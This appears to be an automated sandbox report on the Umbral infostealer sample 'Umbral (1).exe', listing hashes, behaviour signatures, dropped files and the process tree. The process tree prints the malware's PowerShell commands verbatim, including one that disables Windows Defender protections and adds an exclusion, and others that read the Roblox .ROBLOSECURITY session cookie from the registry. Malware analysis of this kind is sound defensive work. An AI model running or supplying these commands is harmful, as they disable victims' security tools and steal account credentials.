Analysis

  • max time kernel
    108s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    03-08-2024 17:39

General

  • Target

    Umbral (1).exe

  • Size

    227KB

  • MD5

    f6aeb1204375bc9a4ea0cfa7a1a76ba5

  • SHA1

    e659b3e54d32f44bf915d64c51bb512e58a7eeea

  • SHA256

    0ddc72fe91b271d21fbaafd017168c9b5370d362d7bd3e60928490ab4d1fac96

  • SHA512

    75ffba3ec1f5e05684ab0b99af42a518735324355745f0f9e3ba057627b746a948b86331e281db1bc2064f504af334118cb29807cb97b6579723e144d7acbd41

  • SSDEEP

    6144:+loZMLrIkd8g+EtXHkv/iD44VShOsTPkZFQu//OzCb8e1mJdi:ooZ0L+EP84VShOsTPkZFQu//O6B

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Umbral (1).exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral (1).exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:624
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2840
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral (1).exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2508
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:936
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:2344
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:2956
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2992
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2996
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2068
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fefb749758,0x7fefb749768,0x7fefb749778
          2⤵
            PID:2476
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1136 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:2
            2⤵
              PID:1812
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1488 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:8
              2⤵
                PID:2608
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1592 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:8
                2⤵
                  PID:1900
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2304 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:1
                  2⤵
                    PID:540
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2316 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:1
                    2⤵
                      PID:3040
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1364 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:2
                      2⤵
                        PID:2808
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3248 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:1
                        2⤵
                          PID:3056
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2732 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:8
                          2⤵
                            PID:2448
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3764 --field-trial-handle=1328,i,17565484187769801,475182382114183591,131072 /prefetch:1
                            2⤵
                              PID:1296
                          • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                            "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                            1⤵
                              PID:2152

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000001

                              Filesize

                              209KB

                              MD5

                              3e552d017d45f8fd93b94cfc86f842f2

                              SHA1

                              dbeebe83854328e2575ff67259e3fb6704b17a47

                              SHA256

                              27d9c4613df7a3c04da0b79c13217aa69992b441acb7e44bf2a7578ca87d97d6

                              SHA512

                              e616436f2f15615429c7c5c37de3990c3e86c5e1da7d75a0f524fc458b75d44a5be1a3648a628d63e1cf8aa062e08b538f2f2bc9c6a0b42157beb24f82c571d9

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

                              Filesize

                              168B

                              MD5

                              0df108bcb0721fd4e2011570803c5817

                              SHA1

                              c55f88eba7280d98802d7bd4e869d122c075c5e6

                              SHA256

                              02405494fc822daed17bcc0698d50ce023f0ee9644a156874c09f1741c2b9d42

                              SHA512

                              f175012cb16433c080935bbf00e97b2db06076b48a54081e42c945d39a8436ade0557d9b17e77a182ed696de6951c80f2524d604a053f6c16c8a3e95b99c92bd

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

                              Filesize

                              264KB

                              MD5

                              f50f89a0a91564d0b8a211f8921aa7de

                              SHA1

                              112403a17dd69d5b9018b8cede023cb3b54eab7d

                              SHA256

                              b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                              SHA512

                              bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                              Filesize

                              363B

                              MD5

                              d9816c959381a88cb1e852afc21ed19f

                              SHA1

                              3bfc85ac360619114fa14795b893d6044dc6c023

                              SHA256

                              9d61ae19d3eb39aa2fc97ebca05d9945f8475570c800e3be31cbfee53ea20904

                              SHA512

                              67521000d48d26dc0cec4105b8a4d3456826db7b88b6d7950fd7b27df1f4a8655ab31f6f44a0fda57233f6206ad509aa3942db47418f34fac9c568642e631a93

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                              Filesize

                              5KB

                              MD5

                              8df2e3e8814008f7d025d185a899612c

                              SHA1

                              f30db8d08eda83f678a555ad3f5dd49afa8b203a

                              SHA256

                              13ae1a8325a2d2839d61477bd80c7f233669bcffaec6ef711b3c329dab240318

                              SHA512

                              b001069bae34416a60bf98bc48e43c2003da9c61db89cdbaf2500604461dd012844c7c4acf83790ba5a31c7664a11a476b9c6e571cd7d34b14a928032d8eec34

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                              Filesize

                              4KB

                              MD5

                              c2bdeae07bc0ee91b6bd4120389ccb25

                              SHA1

                              6adb9d9179263145c4a66acfc016ecf9193a8c0d

                              SHA256

                              5f68dda317fbfb94be93976660a252d9d6821a5802893898f4f7b45ae95d2c8b

                              SHA512

                              faca28ddf361671ffdca2a405a33736e9b146518fecc8f32865d401cfc28d59e82f88a72cde5a7766f2dbf44517e1321e1babba400662bb4ce3921a8f93e9f4f

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

                              Filesize

                              16B

                              MD5

                              18e723571b00fb1694a3bad6c78e4054

                              SHA1

                              afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                              SHA256

                              8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                              SHA512

                              43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                              Filesize

                              7KB

                              MD5

                              c39794ad052d83072ac105fe6e3cdea4

                              SHA1

                              f15d28fd5c1cf3f4a6251f1b9abf5b6bf589de19

                              SHA256

                              c8b4e4dfd28daa91174bef45008247f63d4d85b9c1be19784b61805fa9d72377

                              SHA512

                              f486ccf64acd191e9d71ed14d50c33b842d34d8a67ecbd0713741bbf3e22ba8c3d411786566adf1c68f536811900ea7ceb0382e1cb5449f3ed83937495371b1c

                            • C:\Windows\system32\drivers\etc\hosts

                              Filesize

                              2KB

                              MD5

                              577f27e6d74bd8c5b7b0371f2b1e991c

                              SHA1

                              b334ccfe13792f82b698960cceaee2e690b85528

                              SHA256

                              0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9

                              SHA512

                              944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

                            • memory/624-47-0x000007FEF6270000-0x000007FEF6C5C000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/624-0-0x000007FEF6273000-0x000007FEF6274000-memory.dmp

                              Filesize

                              4KB

                            • memory/624-2-0x000007FEF6270000-0x000007FEF6C5C000-memory.dmp

                              Filesize

                              9.9MB

                            • memory/624-1-0x0000000000EC0000-0x0000000000F00000-memory.dmp

                              Filesize

                              256KB

                            • memory/2196-8-0x00000000024E0000-0x00000000024E8000-memory.dmp

                              Filesize

                              32KB

                            • memory/2196-7-0x000000001B200000-0x000000001B4E2000-memory.dmp

                              Filesize

                              2.9MB

                            • memory/2748-15-0x0000000002590000-0x0000000002598000-memory.dmp

                              Filesize

                              32KB

                            • memory/2748-14-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

                              Filesize

                              2.9MB

                            • memory/2992-42-0x000000001B220000-0x000000001B502000-memory.dmp

                              Filesize

                              2.9MB

                            • memory/2992-43-0x00000000024E0000-0x00000000024E8000-memory.dmp

                              Filesize

                              32KB